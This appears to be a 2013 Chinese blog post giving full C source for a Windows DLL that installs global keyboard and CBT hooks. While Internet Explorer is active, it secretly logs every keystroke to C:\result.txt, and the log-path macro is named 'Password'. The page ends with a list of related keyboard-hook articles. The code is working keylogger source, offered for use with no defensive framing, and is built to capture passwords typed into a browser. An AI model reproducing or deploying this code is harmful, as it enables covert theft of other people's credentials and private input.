动态链接库dll键盘钩子后台记录代码示例
2013-07-21 17:15
411 查看
//.header #ifndef _DLLHOOK_H_ #define _DLLHOOK_H_ #include <windows.h> #define DLL_EXPORT_FUN __declspec(dllexport) DLL_EXPORT_FUN BOOL InstallHook(); DLL_EXPORT_FUN BOOL UninstallHook(); #endif //.cpp #include <process.h> #include <stdio.h> #include "DllHook.h" #define Password "C:\\result.txt" #define TextLength 20 #define CHARNUMBER 5 #define CAPITALNUM 10 HHOOK hHookKeyboard=0; HHOOK hHookMsg=0; HANDLE hDll=NULL; char TextMsg[TextLength]={0}; bool IE_is_actived=true; HWND hhWnd=NULL; FILE *pfFile=NULL; unsigned int Counter=0; int shift = 32; short flag=0;; char tombnum[CHARNUMBER]={0}; enum NUM { SHIFT, CONTROL, ALT, CAPITAL }; static int TempArray[CHARNUMBER][CAPITAL+1]; static char text[TextLength]; void InitTable() { for (int i=0; i<CHARNUMBER; i++) for (int j=0; j<CAPITALNUM+1; j++) TempArray[i][j]=0; } BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch(ul_reason_for_call) { case DLL_PROCESS_ATTACH: { hDll=hModule; hhWnd=GetActiveWindow(); MessageBox(hhWnd,"DLLKEYBOARD","提示",MB_OKCANCEL); } //A new process is attempting to access the DLL; one thread is assumed. break; case DLL_PROCESS_DETACH: //A process is detaching from the DLL. UninstallHook(); break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: //One of the additional threads (not the first thread) of a process is detaching from the DLL. break; } return TRUE; } LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam,LPARAM lParam) { int i, temp; int flag_shift; int flag_capital; int flag_alt; int flag_control; if (IE_is_actived) { if ((wParam == VK_SHIFT) || (wParam == VK_CAPITAL) || (wParam == VK_MENU) || (wParam == VK_CONTROL)) { flag_shift = 0x8000 & GetKeyState(VK_SHIFT); flag_capital = 0x0001 & GetKeyState(VK_CAPITAL); flag_alt = 0x8000 & GetKeyState(VK_MENU); flag_control = 0x8000 & GetKeyState(VK_CONTROL); } if (wParam!=VK_TAB && wParam!=VK_ESCAPE && wParam !=VK_LEFT && wParam!=VK_RIGHT && wParam!=VK_UP && wParam!=VK_DOWN && wParam!=VK_END && wParam!=VK_HOME && wParam!=VK_PRIOR && wParam!=VK_NEXT && wParam!=VK_INSERT && wParam!=VK_NUMLOCK && wParam!=VK_SCROLL && wParam!=VK_PAUSE && wParam!=VK_LWIN && wParam!=VK_RWIN && wParam!=VK_F1 && wParam!=VK_F2 && wParam!=VK_F3 && wParam!=VK_F4 && wParam!=VK_F5 && wParam!=VK_F6 && wParam!=VK_F7 && wParam!=VK_F8 && wParam!=VK_F9 &&wParam!=VK_F10 && wParam!=VK_F11 && wParam!=VK_F12) { if ((0x80000000 & lParam) == 0) //WM_KEYDOWN? { if (wParam>=0x41 && wParam<=0x5a) wParam+=32; //Kisbeture konvertalas if (wParam==VK_SHIFT || wParam==VK_CONTROL || wParam==VK_MENU || wParam==VK_CAPITAL) { if (wParam==VK_CAPITAL) temp=1; else temp=0; TempArray[Counter][wParam-16-temp]=1; } tombnum[Counter] = wParam; Counter++; } else //WM_KEYUP? if (wParam==VK_SHIFT || wParam==VK_CONTROL || wParam==VK_MENU || wParam==VK_CAPITAL) { if (wParam==VK_CAPITAL) temp=1; else temp=0; TempArray[Counter][wParam-16-temp]=2; tombnum[Counter] = wParam; Counter++; } if (Counter==CHARNUMBER) { pfFile = fopen(Password, "a+"); for (i=0; i<(signed)Counter; i++) { switch(tombnum[i]) { case VK_DELETE : fprintf(pfFile, "%s", "<d>"); break; case VK_RETURN : fprintf(pfFile, "%s", "\n"); break; case VK_BACK : fprintf(pfFile, "%s", "<b>"); break; case VK_SHIFT : if (TempArray[i][SHIFT]==1) fprintf(pfFile, "%s", "<sd>"); else fprintf(pfFile, "%s", "<su>"); break; case VK_CONTROL : if (TempArray[i][CONTROL]==1) fprintf(pfFile, "%s", "<ctd>"); else fprintf(pfFile, "%s", "<ctu>"); break; case VK_MENU : if (TempArray[i][ALT]==1) fprintf(pfFile, "%s", "<ad>"); else fprintf(pfFile, "%s", "<au>"); break; case VK_CAPITAL : if (TempArray[i][CAPITAL]==1) fprintf(pfFile, "%s", "<cpd>"); else fprintf(pfFile, "%s", "<cpu>"); break; default: fprintf(pfFile, "%c", tombnum[i]); break; } } fclose (pfFile); Counter=0; InitTable(); } } } return CallNextHookEx(hHookKeyboard, code, wParam, lParam); } LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam) { if(nCode==HCBT_ACTIVATE) { GetClassName(hhWnd,TextMsg,TextLength); { if (TextMsg[0]=='I'&&TextMsg[1]=='E') IE_is_actived=true; else IE_is_actived=false; } return 1; } else return CallNextHookEx(hHookMsg,nCode,wParam,lParam); } DLL_EXPORT_FUN BOOL InstallHook() { hHookKeyboard=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,(HINSTANCE)hDll,(DWORD)NULL); if (hHookKeyboard==NULL) { return false; } hHookMsg=SetWindowsHookEx(WH_CBT,(HOOKPROC)CBTProc,(HINSTANCE)hDll,(DWORD)NULL); if (hHookMsg==NULL) { return false; } return true; } DLL_EXPORT_FUN BOOL UninstallHook() { if(UnhookWindowsHookEx(hHookKeyboard)==0) return false; if (UnhookWindowsHookEx(hHookMsg)==0) return false; else return TRUE; }
相关文章推荐
- 创建记录键盘动作的全局钩子DLL
- VC++实现监视系统的键盘操作(2) 创建记录键盘动作的全局钩子DLL
- 使用DLL共享数据:用钩子记录键盘
- VC++实现监视系统的键盘操作 创建记录键盘动作的全局钩子DLL
- 简单实用的分页控件 AspNetPager.dll 下载地址、使用方法、含有代码示例
- 给DLL初学者——全程键盘钩子的一种简单实现
- js 键盘记录代码
- 记录一下自己用STM32完整开发一台双模机械键盘的过程(附代码和原理图)
- 使用Ajax.dll前台调用后台方法及错误示例
- 利用JS来控制键盘的上下左右键(示例代码)
- C++获取多浏览器上网历史记录示例代码(支持获取IE/Chrome/FireFox)
- c#后台修改前台DOM的css属性示例代码
- Control Study -> 键盘模拟鼠标(实现用键盘操作鼠标光标)(示例代码下载)
- Asp.net 2.0 GridView的几个事件(如实现: 行的双击/单击/捕捉键盘按键/鼠标悬浮/移出效果)(示例代码下载)
- 静态链接库LIB和动态链接库DLL的区别 创建和示例
- Win7环境使用VC2008编写DLL实现键盘钩子
- javascript新建标签,判断键盘输入,以及判断焦点(示例代码)
- 消息钩子函数入门篇--(3)示例__键盘钩子
- 今天用到ajax5级联动,后台调用struts的action,这里只记录前台调用的代码
- 静态链接库LIB和动态链接库DLL的区别 创建和示例